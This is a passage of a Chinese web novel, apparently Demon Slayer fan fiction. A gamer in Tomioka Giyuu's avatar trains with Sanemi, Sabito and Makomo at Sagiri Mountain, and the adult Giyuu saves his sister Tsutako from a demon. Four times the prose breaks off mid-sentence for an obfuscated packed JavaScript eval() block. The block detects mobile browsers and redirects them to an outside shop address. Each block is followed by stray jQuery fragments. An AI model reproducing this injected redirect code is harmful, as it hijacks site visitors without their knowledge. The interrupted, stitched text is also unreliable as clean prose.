《富贵鱼鱼代餐今天被见义勇为了吗》 3. 狭雾山 第二天下午,两人顺着路线指引来到了狭雾山。 在剧情模式下,水之呼吸学习地点的固定NPC是鳞泷左近次,不过,由于鳄梨选择的时间线是主线开始十年前,这时候的狭雾山会多出两位角色,真菰和锖兔。 而当鳄梨带着不死川找到鳞泷先生时,对方正在厨房处理食材,案板上那条鱼刚去了鳞,对方手起刀落,硕大的鱼头就这样被剁下来了。 虽然隔着一层面具,但鳄梨还是能感觉到他的眼神落到了自己身上。 不知为何,意识到这点之后鳄梨莫名紧张。 鳞泷左近次:盯。 鳄梨:盯—— 不死川实弥:…… 几分钟过去,两人的对视还在继续,不死川实弥倍感无语——不是,他们在干嘛? 鳄梨正惊讶于NPC竟然不说开场白,不说就意味着没有选项,这让她怎么把游戏进行下去? 也许是心里的呼唤奏效了,鳞泷左近次忽然动了,他几刀把鱼分好,而后放下刀,从厨房里走出来。 “有什么事吗?”他问。 鳄梨松了口气,心说终于来了,可直到对方话音落下,也没有选项冒出来。她又等了一会,还是没有选项冒出来。 她忽然傻眼了,我选项呢?那么大个学习呼吸法的选项呢? 鳞泷左近次始终等待着少年的回答,鳄梨思考了一会,回答说:“我要学习水之呼吸。” 对方没说什么,似是没在意玩家不礼貌的用词,他停顿了下,又问:“你们两个人吗?” “什么?不是!”不死川实弥连忙否认,“是他自己!” 末了他又补充一句:“但在他学会水之呼吸之前,我不能走。” 鳞泷左近次点了点头,并未对这个怪异的组合多说什么,只是再次回到那间狭小的厨房处理鱼肉。 “既然如此,那从吃完晚饭开始,你们就从北面开始下山吧,但你们必须在天亮之前赶回来,否则我不会教授你们任何东西。” “等等,‘你们’?我说了不……” 【支线任务:完成鳞泷左近次的弟子考核。参与角色:富冈义勇,不死川实弥,任务剩余时间:11:30:09】 【奖励:金币×10,抽奖券×2,绿色品质猩猩绯砂矿×10】 “……” * 不死川实弥又一次绝望的发现,每当那道女性声音响起,就会伴随着一份必须完成的任务出现,如果他产生了类似拒绝的想法,空气墙就会再次出现。 于是为了调查这个诡异的世界,他硬是压下了心中的不满,应下了这份多余的任务。 晚饭时间,锖兔与师姐真菰先后从外面回来,他们刚刚训练完毕,额头上还覆盖着一层薄薄的汗水。 两人一回来,就看见了端坐在客厅中的鳄梨和不死川。真菰脸上的笑容未变,但她也没有主动打招呼的意思,只看了他们一眼,便离开了这个房间。 锖兔则先是讶异了下,想了想,又主动挥了挥手,友好道:“你们好啊,我是锖兔。” 对于白月光的第一次主动搭话,鳄梨努力压制住激动的心情,尽量让自己显得平静,然而因为用力过猛,她昂首挺胸,最后却只面无表情地回了句:“你好。” 鳄梨的表现不死川实在没眼看,有那么一瞬间,他认为身侧的少年其实是个憨的。 但实际上他并没有表现得比鳄梨好多少,且因为自认为年龄比这两人都大,面对锖兔时不自觉就自带了一份长男的气质。 他只回答了自己的名字:“不死川实弥。” 锖兔的笑容僵在了脸上,这两个家伙,真是…… 这时候,真菰端着一锅鱼汤进来了,她清了清嗓子,对这几个没有眼力见的笨蛋提醒道:“厨房里还有几碗米饭,你们去帮鳞泷老师端来吧。” 锖兔和不死川这才意识到饭菜的问题,彼此之间都很尴尬,只有鳄梨完全不在意面子,她满脑子都只有端碗这一条指令,不等那两人起身,直接弹射般跳出房门,只一溜烟的功夫便端来了五碗米饭。 锖兔吓了一跳:“不用托盘,你是怎么做到的?” 鳄梨心里感慨着角色的智能度又提高了,思考了好一会,最后不那么坦诚地回答说:“你知道吗?我是杂技之神。” 锖兔听后噗的一声笑了出来,真菰也在笑,不死川实弥则完全在状况外,甚至不能理解他们的笑点:不是,这有什么好笑的? 可怜的不死川,就这样被水之呼吸一门的脑回路伤到了。 好在这时鳞泷左近次及时出现,解救了不死川于水火之中。 —— 夜晚,山顶的温度骤降,整座山弥漫起一层若隐若现的雾气,直接下山的难度增加了一倍。 得益于等级碾压,鳄梨很轻松地躲过了各种机关和暗坑,在山野间穿行时速度极快,竟把原本是柱的不死川实弥都超越了。 而不死川的感觉就比较憋屈了,明明经过千锤百炼的身体已经灵敏到极致,每一个陷阱都能凭经验精准避开,然而身体却像下了降头一样,速度、力量和耐力全都降低到了一个他难以接受的程度。 甚至就山上到山下这点距离,都让他产生了疲累的感觉。 鳄梨再次跨过一个铺满石块的深坑,随后和先前一样,快速回头瞥了一眼不死川的位置,然而她并没有看见对方的身影。 她愣了一下,脚步渐渐放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665022|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓,决定在原地等他。 可她等了很长一段时间,都没有等到不死川追赶她的脚步来到她身侧,心里止不住泛起一阵疑惑的情绪。 鳄梨只好调转方向往回跑,想知道那名玩家为什么没跟上。 之后她就看见了倒在坑里的不死川实弥,全身被一张大网捆住,身下是尖利到足以割伤皮肤的石头。 他的怀里还护着一只灰毛兔子,可那灰毛兔子一点也不客气,正不断朝不死川的脸蹬着后腿,拼了命地想要从他怀里挣脱。 不死川实弥暗骂一声,主动放开了那只灰毛兔子,兔子眼见脱离了束缚,立刻从他怀里跑出去,却碍于将近半人高的深坑无法真正逃脱。 兔子的鼻尖耸动,不断在坑边焦急徘徊。 不死川实弥轻笑一声,一个箭步冲过去,一把拽起兔子的耳朵,而后把它扔了出去。 鳄梨看愣了,以至于没有反应过来,及时搭救对方,只默默脑补他掉坑前的场景。 此时不死川已经没有了对待兔子时的温柔神色,他轻轻地“啧”了一声,不无烦躁地问她:“你准备看到什么时候?” ——其实他本不准备向他求助,奈何这种深坑以他现在的实力是根本跳不出来的,无奈只能出此下策。 鳄梨忽然回过神来,在背包里一顿翻找,终于找到之前收集癖发作时做得绳子,他先把绳子捆到旁边的树上,再把绳子放下去,刚好可以让他够到。 就这样,不死川终于得以脱困。 之后两人继续在崎岖的山路间穿梭,并成功在天亮之前返回鳞泷的木屋。 鳞泷表示认可了两人,决定让他们和锖兔真菰一起,共同学习水之呼吸。(不死川:???) 而在鳄梨与不死川实弥完成挑战的时候,音柱宇髄天元正拿着刚制作出来的木斧砍树。 继那名系统小姐给的限时新手任务失败后,又接着给了他两份新手任务,其中一份是合成一组木制器具,另一个则要求他收集十块木头,五份种子,以及十颗苹果。 紧接着宇髄天元疑似无师自通了游戏玩法,按照提示先后收集了种子和苹果,又开始用斧头砍树。 虽然他真的很想吐槽,木斧头砍树真是太不华丽了,太容易磨损了,不过最后好歹完成了任务。 系统小姐似乎很满意他的态度,给了他五个金币和一份地图。 后来他发现,金币是真的,地图上的路线则显示着通往狭雾山的道路。 “狭雾山……” 宇髄天元呢喃着,手指不自觉抚向地图上代表狭雾山的标识—— 【是否自动寻路?】 宇髄天元“哈”了声,“还不错嘛!既然如此,那就去好了!” 4. 大概是破防了 不知是不是掉坑里爬不出来这件事打击到了不死川,鳄梨能明显感觉到对方的状态不对劲。比如今天早上,天不亮就看见他从床铺上爬起来,提着刀径直冲出房门。 等鳄梨正式起床,不死川已经锻炼了一个小时了。 不仅如此,他的行为还感染了锖兔和真菰,于是她一起来就看见三个人在那里挥刀,鳞泷先生则在一旁看着,而后对锖兔和真菰说: “加练500次。” 鳄梨:?你们这么卷吗? “你醒了啊……义勇。”鳞泷先生迟疑了下,最后还是根据自己的判断,念出了鳄梨的名字。 比起“在线发牌”,果然还是“富冈义勇”作为名字比较正常吧——来自鳞泷先生莫名吐槽役的心音。 鳄梨并不知道鳞泷先生的内心想法,她满脑子都是“迟到了”三个字,还以为他的一瞬间迟疑是在嫌弃她的懒惰,匆匆应了一声,抓起木刀就开始练习。 鳞泷:……这孩子好像误会了什么。 “我去做早饭,你们继续练吧。” 鳞泷先生说完便离开了训练场地,只留下三个孩子,一个成年人,继续练习挥刀。 刚开始鳄梨本想开挂机模式摸鱼的,但看到他们都在拼命的练习,再联想到自己的代餐文学,最后还是决定跟他们一起训练。 不过真正开始之前,鳄梨为了效率彻底关闭了痛觉模拟——她并没有往死里练的决心,关掉这个能让自己的感官好受些。 只是经历了上一次的版本更新后,挥刀一次,只会增加1点经验值,却会实打实的消耗3点饱腹值。 而且官方为了防止有肝帝只通过这个变强,连续挥刀一小时后,便不会再增加经验了…… 鳄梨一边发散思维,一边进行挥刀,主打一个一心二用。 锖兔见了,便自觉履行师兄的职责,狠狠敲了一下鳄梨的头,发出“咚”的一声脆响。 鳄梨愣了一下,后知后觉地意识到锖兔的动作,震惊又委屈地盯着他,一副被欺负了的表情。 锖兔:…… 锖兔刚想开口提醒他要专心,不死川实弥把刀一横,在他之前开口道:“如果你一直是这样漫不经心的状态,那么不等鬼把你杀死,老子会先一步把你踢出鬼杀队。” 鳄梨错愕地望着不死川实弥,一方面有种被刺的委屈,一方面又因他别扭的提醒产生了一点感悟,她长吁一口气,郑重地点了点头。 握紧刀柄,一心一意,这才是锻炼应有的姿态。 眼见小伙伴骤然燃起了斗志,锖兔和真菰对视一眼,也加快了挥刀的动作。 训练结束,四个人一同去屋里吃早饭。 而作为一个强壮的成年人,不死川实弥自然吃得很多,消耗了餐桌上一半以上的食物。 但不知他在水呼一组眼里是个什么形象,除了鳄梨,锖兔他们都露出了一副异常震惊的表情,弄得不死川都不自在了,握着筷子的手不自觉抖了一下。 心细如发的鳞泷先生自然注意到了这个细节,他用食指轻轻敲了敲桌面,示意孩子们专心吃饭。 这个小插曲就这样过去了。 吃过饭,鳞泷先生说要下山置办物资,吩咐他们好好锻炼,尤其是真菰,选拔在即,即便劈开了岩石,也一刻都不能松懈。 鳞泷走后,鳄梨推算了一下,距离选拔开始大概还有四十五天,要想无伤通关,她必须再提升至少十级,或者每一种能够提升血量的食物攒够99+。 无论哪一种,对现在的她来说都挺困难。 面对鳄梨不加掩饰的担忧,锖兔微微一笑,拍了拍她的肩膀:“其实不需要太担心,真菰可是很强的。” 真菰点了点头,她说:“不会让鳞泷先生失望的。” 他们的安慰并没有打消鳄梨的顾虑,再说她早就有参加这次选拔的想法,不如和真菰一起去。 不死川实弥一眼就看穿了鳄梨的想法,但他没有出声反对,他想,也许这小子有不可告人的秘密也说不定。 鳞泷先生要到傍晚才能回来,中午的饭,自然需要他们来做。 作为四人里面唯一的女孩子(?),真菰很自然地想要包揽做饭的重任,鳄梨则表示,不做饭也没关系,她背包里还有苹果和萩饼。 不知是不是应激反应,不死川一听到萩饼就变了脸色,锖兔好奇地问他:“你很讨厌甜食吗?实弥。” 不死川没有指正锖兔过于熟稔的称呼,或者说,他急于辩驳—— “什么?我才不——不喜欢。” 虽说话说到一半他拐了个弯,但好歹算是否认了。 说到这里他烦躁地揉了揉头发,企图转移话题。 鳄梨忍住笑,坏心眼地补充道:“不死川不喜欢甜食,他只是喜欢萩饼。” 不死川一听,脸色忽的一红,他恼羞成怒地攒住鳄梨的衣领:“你想打架吗?” ——虽说这实在不是成年人该有的风范,但他是现在是真的想这么做。 鳄梨点了点头:“可以。” “我没有在邀请你啊,混蛋!” “……好糟糕的台词。” “你在说什么?富、冈、义、勇?” 锖兔and真菰:…… 总之也不知道是怎么发展成这样的,锖兔和真菰成了评委,在一旁观战,或许还会在两人上头时拉架。 鳄梨和不死川实弥则一人拿了一把木刀,分别站在训练场地的一侧,维持着蓄势待发的姿势。 直到真菰喊开始,两个人才终于动了,一同消失在原地,又在顷刻之间对立,刀刃相撞,发出“啪”的一道响声。 紧接着两人又在几秒内过招数次,招招凌厉,迅疾如风,令人目不暇接。 锖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16665023|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔心下惊讶两人的水平,这可一点也不像初学者,他下意识看向真菰,想着真菰一向看东西更为细腻,也许会有不同的见解。 真菰始终紧紧盯着两人的战斗,她一边看一边回答说:“实弥的实战经验明显比义勇的多很多,他的攻击就像是经过很多次不要命战斗磨练出来的。而义勇,他的力量,速度,甚至耐力都要比实弥好上几倍,不如说,两人的差距和短板都太明显了。” 锖兔点了点头,看到义勇因为没预料到实弥的下一击,而硬生生用蛮力破开对方的攻击时,他只觉得有些好笑:“某种程度上来说,这两个家伙都是笨蛋。” 同时也能看出他们隐瞒了许多事情。 但……总归都是不错的同伴。 * 最终的结果显而易见,不死川实弥因为等级差距输给了鳄梨,但鳄梨却并没觉得自己赢了。 她在和对方对战的时候,总感觉是一个技术菜到抠脚的氪金玩家,用数值碾压了高玩一样,十分不爽。 而不死川实弥则又一次被力量的压制恶心到了,加上有种输给小孩的感觉,心情也不怎么美妙。 倒是锖兔主动打圆场,笑着推搡着两个人向前走: “你们打了太久,真菰都做好饭了,快去洗手!” 而鳄梨经此一事也明白了一个道理——她要做个脚踏实地的玩家,通过锻炼成为真正的高手! 当然,数值也是有用的,能起到一个事半功倍的效果。 想了想,鳄梨对不死川说:“你的数值太垃圾了,我来帮你(加点)吧?” 不死川实弥:“……” 后来他忍了许久,不断说服自己不和这人一般见识,终于把这口气咽了下去。 他长吁一口气,没有理会对方。 却见那少年自顾自在空中划拉了两下,打开了一张极为熟悉的面板,又在面板上不停地戳戳戳,戳的过程中还不忘嘀咕着什么。 不死川实弥没听清,但不妨碍他觉得新奇 【队长[富冈义勇,在线发牌]为[不死川实弥]分配了数值】 随着这道声音的响起,不死川实弥感觉身体忽然变得很轻松,就连走路都变得不一样了。 “你居然一直攒着数值点没加……我把那些点数都加在了力量和敏捷,这样……巴拉巴拉把拉……你就可以巴拉巴拉……” 后面的不死川实弥一句没听懂,不过多少也能理解——现在他变强了。 锖兔真菰听不懂他们之间的谈话,但不妨碍他们使用师兄/姐の威压: “好好吃饭!” 鳄梨吸了吸鼻子,心虚地往嘴里扒饭,而不死川实弥则嫌弃地“啧”了一声——就这点出息! ——而在狭雾山的反方向的一个村子里,真·富冈义勇打了个结结实实的喷嚏,他无助地抬头望天:“……难道是感冒了吗?” 5.三个义勇一台戏(上) “义勇,你怎么了?” 走了几步路,发现自家弟弟仍停留在原地发愣,富冈茑子只好又折返回来,柔声询问弟弟发生了什么。 面对姐姐的疑问,富冈义勇主动牵起茑子姐姐的手,诚实地回答:“我可能感冒了。” 富冈茑子见状,连忙抬起另一只手贴在他额头上,好在从掌心感受到的温度并不烫,富冈茑子忽然松了口气,心里庆幸还好没有发烧。她捏了捏富冈义勇的手心,说:“没关系,等会我们买完东西,再去帮你买一些药。” “不用了。”富冈义勇摇了摇头,拒绝道,“我没有难受。” 姐姐就要结婚了,日后用到钱的地方肯定很多,他又没有真正进入感冒周期,所以不需要吃药,他相信自己可以熬过去。 富冈茑子一眼就看出他什么想法,捏了一下他的手心,说:“不吃药可不行哦,义勇。” “……好吧。” 富冈义勇垂下头,一副很失望的样子,富冈茑子见他这样,忍不住噗嗤一声笑了出来,她揉了揉义勇的头发,带他去店铺里买东西。 而在他们离开之后,一个成年男人躲在巷子的角落里,注视着他们离去的背影,久久不能平静。 许久之后,他才慢吞吞地循着姐弟俩离开的方向,继续悄无声息地跟踪下去。 他跟着他们从集市上辗转了几个铺子,直至夜幕降临,他才惊觉自己竟一直跟踪到了他们的家。 尽管那个地方对他来说,是记忆深处最难以忘怀的场景,是永远渴望但回不去的地方……可真正回来的时候,他还是莫名畏缩了,只向前走了一小步,就不敢再继续上前,只是躲在一棵树后,默默握紧腰间的刀。 他以为自己不会再想起这痛苦的一夜了,可现在却无比清楚地意识到,他不会忘,永远不会忘,那一夜的种种细节都像篆刻一样,深深地印在自己脑海里。 虽然不知道那个女性带他来这里有什么目的,但是…… 他深吸一口气,缓缓吐出一句话: “我不会再重蹈覆辙了。” * 富冈义勇一直等到深夜。 他虽记不清那夜的具体细节了,但经过他跟踪时发现的种种细节,可以肯定悲剧发生的时间是在今晚。 一想到可以避免姐姐的死,避免一生的遗憾,富冈义勇就止不住地一阵呼吸急促,可随即又强迫自己冷静下来。 他始终保持着高度戒备,警惕一切风吹草动。 突然!一道灰黑色身影从他的侧前方略过,飞跃间带来一缕浓厚的腐臭味,那一瞬间,富冈义勇动了,转瞬之间拔刀出鞘,身体像离弦的箭一样追了过去。 食人鬼本想夺门而入,然而还没等进去,偶然瞥见一凛刀刃的寒光,吓得他大惊失色,却被对方的气势定在了原地,竟连反抗都忘了。 ‘会死的!绝对会死的!’ 尽管他脑子疯狂叫嚣着逃跑,双腿却像生了根一样无法动弹,只能眼睁睁看着对方的刀刃砍在了他脖子上,然后……无法寸进? 富冈义勇这才惊觉自己的力量被压制了,即便自己使出了全力,也无法砍下这只鬼的头颅。 见状他毫不犹豫地抽刀,并反手挡住了恶鬼的反击。 “哈哈哈哈哈哈,我还以为是柱呢,结果居然这么弱啊!” 食人鬼毫不吝啬自己的嘲讽,见对面的猎鬼人不为所动,便指着门框的方向放出狠话:“等着吧,我会先杀了你,然后再把你们都吃了!” “你做不到。” 富冈义勇说完,也不管食人鬼什么反应,再次提刀冲了上去。 这一次,他真正用出了水之呼吸的招式,再次挥刀砍到了食人鬼的脖颈,只是由于某些压制,除了对方身体上忽然冒出的“暴击”字样,其结果与第一次交锋并无不同,仍旧卡在边缘处无法寸进。 这次食人鬼怒了,趁对方执着于砍头,他借机向富冈义勇的腹部袭去——这么近的距离,他绝无可能躲开! 好在富冈义勇及时腾出手攥住了恶鬼的手腕,阻止了对方继续袭击。 他再一次确认自己的力量被未知力量压制了,因为刚才的袭击若不是他的条件反射,可能已经被恶鬼得逞了。 一人一鬼就这样僵持着,暂时无法奈何对方。 直到富冈茑子拿着柴刀冲出来,深吸一口气,而后毫不犹豫地一刀劈在了恶鬼身上,食人鬼吃痛,无意识松懈了力气,富冈义勇才得以摆脱困局,向后踉跄了几步。 可恶鬼却因此暴怒,转而去攻击富冈茑子。 眼见茑子即将受到伤害,富冈义勇脑海中霎时一片空白,他崩溃地大喊一声: “姐姐!” 而后便不管不顾地跑过去,挡在茑子身前。 “噗嗤——!!” 只听见一声血肉被利器刺入的声音,富冈义勇因为没能及时防御,竟被食人鬼伤到了胳膊,划出了一道狭长的伤口,血液瞬间喷涌而出。 “你……” 富冈茑子因为过于害怕,脸色苍白如纸,她缓缓抬头看向这个熟悉又陌生的青年,张了张嘴,却久久说不出什么话来。 明明对方的长相她从未见过,可她莫名觉得自己应该是认识他的,只因他长得真的很像自己的弟弟,就像是……长大后的义勇一般。 意识到这一点之后,茑子的思维有一瞬间的发散,直到富冈义勇的一句话提醒了她:“别再上前了。” “这一次,换我来……” 话音未落,恶鬼怒吼一声,打断了他接下来的话,于是富冈义勇再度冲了上去,和恶鬼战斗起来。 此刻,食人鬼终于意识到眼前的猎鬼人不是普通队员,尽管对方对他造成的伤害微乎其微,但架不住富冈义勇本身实力强大,当恶鬼终于意识到自己可能会输的时候,富冈义勇已经用十之型砍掉了他的头。 他还没得及辱骂对方,身躯就飞速的消散了。 “呼,呼……” 富冈义勇不断地做着深呼吸,以此来平复伤口带来的痛楚,顺便运用呼吸法减缓血液流出的速度。 此时此刻,他低垂着头,额前的发丝挡住了他的脸,让人看不清他的表情。 虽说恶鬼已经解决,富冈茑子却仍有些惊魂未定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716040|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的心脏依旧在剧烈地跳动着,萦绕在心头的恐惧,并没有因为恶鬼死去消减多少。 她本想开口询问眼前男人的来历,想问他刚才叫的那声“姐姐”是因为什么,那一瞬间,她感受到了他的痛苦,好像里面蕴含了许多无法承受的东西。 可这时屋里忽然传来了弟弟的哭声,她不得不暂时压下心底的疑虑,转身回到屋内,抱起被自己藏起来的小义勇,替他擦干脸上的泪痕。 富冈义勇沉默地扯下了袖子上的布料,为自己的伤口做了个简易包扎。 包扎完毕,他只短暂地凝望了一下这座房子,便头也不回地离开了这里。 —— 鳞泷先生回来的时候已经很晚了,除了必备的物资之外,他这一次还带回了一个特殊的男人——一个长大版的“富冈义勇”。 鳄梨是知道这位队友的,也知道他和自己一样,是披着富冈义勇马甲的代餐流玩家,但她没想到对方比自己的捏脸更加逼真,几乎和官方给出的建模一般无二。 也正因为如此,她在见到这位时并没有惊讶,反而还有闲情思考对方手臂上的伤怎么来的。 相比于鳄梨的波澜不惊,不死川实弥他们的反应就夸张多了。 锖兔看了一眼静坐在榻榻米上的富冈义勇,又凑到鳄梨身边,上下打量了一番,最后发出一声惊呼: “……太神奇了!” 鳞泷先生闻言颇为无语地抬头,视线转到锖兔身上,面对老师脸上自带威严的天狗面具,锖兔忽然意识到自己很不礼貌,他轻咳一声,试图掩饰自己的尴尬。 真菰轻笑一声,主动承担起了帮老师拿药的责任。 至于不死川实弥,他有些郁闷——原来先前他真的认错人了。 富冈义勇同样注意到了不死川实弥,只是他并没有多说什么,而是选择闭上了自己的眼睛。首先是失血过多让他有些头昏脑涨,其次就是,身为柱却被普通鬼伤到了,实在让他没有脸面对同僚。 不死川实弥见他这样,不自觉又升起了一股无名火——虽说他们关系不好吧,但他就这么不想看到他么? 就在这时,鳞泷先生终于开口,打破了这越发诡异的氛围: “这位是……富冈义勇,他在斩杀恶鬼之后倒在了路边,我便把他带回到这里了。” 说完这些,鳞泷先生叹了口气,转身离开了这个房间。 但在即将走出房门之时,他又说了句: “小义勇,你跟我过来吧。” 鳄梨:?是在说我吗? 她扭头看向正在闭目养神的富冈义勇,见他并未有起身的动作,才追随鳞泷先生的脚步走出房间。 鳄梨走后,富冈义勇却突然睁开了眼睛,他那双海蓝色的眸子蕴含了许多复杂的情感,就这样直勾勾地望向了锖兔和真菰。 “这一定是梦……” 在说完这句话后,他又快速地闭上了眼睛,似是在拒绝承认这一切。 直到不死川实弥冷嗤一声,“我倒希望这是梦。” 富冈义勇:……? 锖兔&真菰:这一个个的,怎么回事? 6.三个义勇一台戏(下) 鳄梨跟着鳞泷先生来到门外,双方沉默地对视一番,鳞泷先生忽然抬手覆在她肩膀上,轻轻拍了拍。 他说:“孩子,答应我,日后无论遇到什么事,都不要一个人承受,你永远可以相信我,明白吗?” 鳄梨直觉这是一个危险的flag,可能会在后期狠狠地坑她一把,可她现在确实理解不了对方的话,于是她只能垂下头,自顾自尴尬着。 鳞泷先生对此叹了口气,没有再说什么,只是让她先回去。 于是鳄梨就这样又回到了客厅里,她还没平复好自己的情绪,首先迎来了不死川实弥的质问: “你究竟是谁?” 他的问题很好理解,鳄梨几乎是立刻明白了对方的思路——既然那个人才是他的同僚,那么你究竟是谁。 鳄梨脸色空白了一瞬,差点以为自己要掉马了,她疯狂在脑海中思索着补救的词汇,可不死川实弥却好像误把她的沉默当做了另一种回答,最后只是冷哼一声,不再言语了。 倒是真·水柱富冈义勇没怎么在意这件事,反倒安慰起了不死川实弥:“无需在意。” 不死川实弥拧眉:“……哈?你在说什么?” 三个人的对话仿佛加了密,一般人听不懂,锖兔无奈地摇了摇头,不再去围观他们的闹剧,转而对真菰说:“大后天就要出发了,你准备好要带的东西了吗?” 真菰点了点头,边回忆边说:“毯子,药草,饭团……还有鳞泷先生做的狐狸面具,都带好了。” 锖兔“嗯”了一声,肯定道:“你会回来的。” 真菰温柔一笑,点了点头。 —— 在真菰参加考核的前一天下午,狭雾山来了两位特殊的客人,富冈茑子,和她的弟弟……富冈义勇。 她们是带着感谢礼来的,想要感谢鳞泷先生和那个神似义勇的剑士,另外还有一方面,是她的弟弟在那一夜受了刺激,非常害怕再度遇到这种怪物时,无法保护姐姐,想要学习呼吸法,消灭这些名叫“鬼”的生物。 也不知道他们是如何找到这里的,明明无论是鳞泷先生还是富冈义勇自己,都没有透露过这座山的位置,但有些事就像命中注定一样,该来的还是会来。 不死川实弥抽了抽嘴角,忍不住在心底吐槽:喂喂喂,骗人的吧,这个世界有两个富冈义勇还不够,现在又来一个…… 他忍不住扭头看向身侧的两位水柱,他们都不约而同地露出了震惊的神情,更显得他们长相的相似,非要说区别的话,也只是震惊程度轻与重罢了。 而那位表现怪异的水柱在震惊之余,还露出了一丝后悔之色,同时默默向后退了一步。 看到他们那副与平时状态完全不同的样子,不死川实弥只觉得整个人都不好了,像吞了一只苍蝇一样怪异。 鳞泷左近次倒是并未显露出震惊的情绪来,他只是向富冈姐弟强调了一番杀鬼的危险性,又问义勇:“你真的想好了吗?” 义勇郑重地点了点头,回答道:“我不想再被姐姐保护了。” 他真正想说的是,他不想再眼睁睁看着姐姐被恶鬼伤害,而自己却无能为力,只能躲在角落里无声哭泣。那种痛彻心扉的感觉,他不想再经历了。 “义勇……” 富冈茑子垂眸,不舍地叫了一声弟弟的名字,而后一把抱住了义勇,“一定要记得回来,我会在家里等你。” 义勇闭上眼,重重地“嗯”了一声,伸手回抱住姐姐。 片刻之后,富冈茑子松开了怀抱,快速擦了一下眼角的泪,故作轻松地说:“要和大家好好相处,知道吗?” 义勇点了点头,在众人的眼神注视下,送姐姐下了山。 富冈茑子走后,鳄梨主动避开了欢迎义勇的热闹场合,走进了自己的房间,开始往背包里塞入明天要带的东西。 食物、回血药、日轮刀……她叹了口气,现在背包里的物资真是太少了,到后期的话根本不够用。 也许该找个村庄抢夺……呸,是收集一些物资了。 “喂,你想跟着真菰一起参加选拔?” 就在鳄梨陷入沉思之时,身后突然响起了不死川的声音,她愣了一下,随后肯定道:“没错,我必须和她一起去。” 不死川实弥没有问缘由,他首先陈述了一个事实:“你的呼吸法没有学全,你确定?” “而且在这个世界,等级才是硬实力,我们的等级加起来不超过25,考核怎么说也需要打到25级吧?” 鳄梨惊讶于不死川实弥竟然了解了规则,谁知她还没开始夸,对方却恼羞成怒了:“你是不是以为我只是一个只知道冲的莽夫?我就不会观察是吗?” 鳄梨:“……” “对不起。” “……你还真是那样以为的啊。” 不死川实弥难得露出了死鱼眼,不过他今天心情好,不和这个家伙一般见识。 他再次提醒道:“你要想清楚,这个世界死了会怎么样——别怪我没提醒你,回不去原来的世界可不是我的错。” “不用担心,在这个世界死了……会复活。” 鳄梨说完,怕对方误会什么,又补了一句,“不过就是需要一点代价。” 比如说经验清零,背包物品也清零,等级倒退什么的…… 不死川实弥哑然了,他觉得自己就不该多操那一份心,这家伙知道自己在说什么吗?复活,却只需要一点代价?这种事情怎么可能呢? 他冷哼一声,决定不再管他了: “反正你去老子也得跟你一起去,注意点,别等到时候连累我!” 说完他就头也不回地离开了这个房间,徒留鳄梨在心底惊呼一声:原来这就是傲娇吗! ——不对,严格来说,实弥是暴娇。 想到这里,鳄梨忽然露出了一副堪比阿尼亚的崩坏表情。 —— “好了,现在你们三个按顺序排列坐下。我们需要重新思考对你们的称呼。” 锖兔说着,手指首先指向了鳄梨,“你看起来年龄是最大的,坐在最左边,你们俩按照年龄顺序坐下吧。” 真菰忍住笑,就这样静静看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739845|188530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们几个做无聊的事情。 不死川实弥倚在墙角,也饶有兴趣地看着他们,他现在忽然很喜欢看富冈义勇吃瘪——不管哪个。 最后,锖兔决定把“富冈义勇”四个字拆开,大号的统称为富冈,年龄小的叫义勇。 也许是同龄人之间的惺惺相惜,锖兔对小义勇的好感更高,毕竟大人的世界太复杂了() * 鳄梨并不打算告诉鳞泷先生自己要参加考核的事,她准备在真菰出发后偷偷跟着她,暗中把手鬼解决了,她预想中的最好的结局,是真菰也不知道手鬼的事情。 原著世界太伤了,在游戏世界最想做的事情,果然还是保护他们。 虽然现在等级可能有点差距,但是没关系,她的日轮刀好啊!是蓝色品质的呢!对前期来说非常不错了! 不过,现在的首要任务是抽奖。 她要为两个队友换一把好的日轮刀,最好抽到能加暴击和攻速的,有助于无伤通关。 鳄梨自觉是个手黑党,更何况她现在只攒了二十五张抽奖券,想要在日轮刀普池里抽出对应呼吸法的日轮刀,还是有点难度的。 